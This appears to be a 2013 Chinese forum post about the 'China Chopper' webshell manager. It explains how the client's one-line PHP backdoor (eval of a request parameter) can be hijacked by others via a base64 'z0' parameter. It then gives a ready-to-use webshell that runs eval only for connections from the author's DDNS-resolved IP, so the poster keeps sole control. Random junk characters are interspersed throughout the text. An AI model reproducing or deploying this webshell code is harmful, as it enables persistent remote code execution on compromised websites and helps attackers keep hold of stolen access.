今天试了下“中国菜刀”这款C/S的WEB管理软件，发现一个致命的漏洞7 k! |+ d2 z+ Q5 D4 J
; q4 L" L/ Y- W! @) ~: W K就算你设置了密码，使用了eval($_REQUEST['moyo']);6 V8 y' c. T# ?5 k1 \: V0 I9 p
% p! D7 |; p# z. ~' e) j3 d7 ]6 c
但是别人还是可以在不知道连接密码是moyo的情况下直接使用你的一句话后门9 L, F$ [0 Z0 z5 g- ]& K/ ?) O$ t
6 {7 K3 S/ t' g N因为$_REQUEST['moyo']传递的内容是@eval(base64_decode($_POST[z0]));
8 f1 {% V, m0 G0 l, I( Q- K
9 Y5 Z7 z. x5 I, X& Q直接访问 /backdoor.php?z0={BASE64加密后的代码} 就可以执行代码了7 r( B8 d0 O0 j9 ~
' s* T2 ]4 h, B, @5 O' `不知道是设计缺陷还是故意留的后门; S* |% z, P- B5 }& Z
" K$ S( o* k7 ?; Y; i/ q! _如果有人使用一句话之类的密码，有个小技巧可以避免自己的一句话被人盗用4 Q8 Y* O# {* M5 W/ C
9 [2 @9 F5 K/ J$ b- }本地使用花生壳之类的DDNS软件，比如分配域名是moyo.apiz.org O: k9 W+ T: Q5 C3 ?2 \, J- }0 {
3 W0 f, a+ l' k
然后一句话后门这样写* B6 O) P: N) I+ T( D1 e2 V* }
& [, c! E% U( f# T$ {8 a4 { C<?php $_SERVER['REMOTE_ADDR'] == gethostbyname('moyo.apiz.org') ? @eval($_REQUEST['moyo']) : exit('DENIED') ?>
; G9 e/ v2 h! K这样就可以让一句话后门只允许自己的电脑连接了
~5 `( O: a' k$ R1 j( i, L3 a" b& ^* D$ T) z+ l
|
发表于 2013-7-26 12:45:48
收藏
支持
反对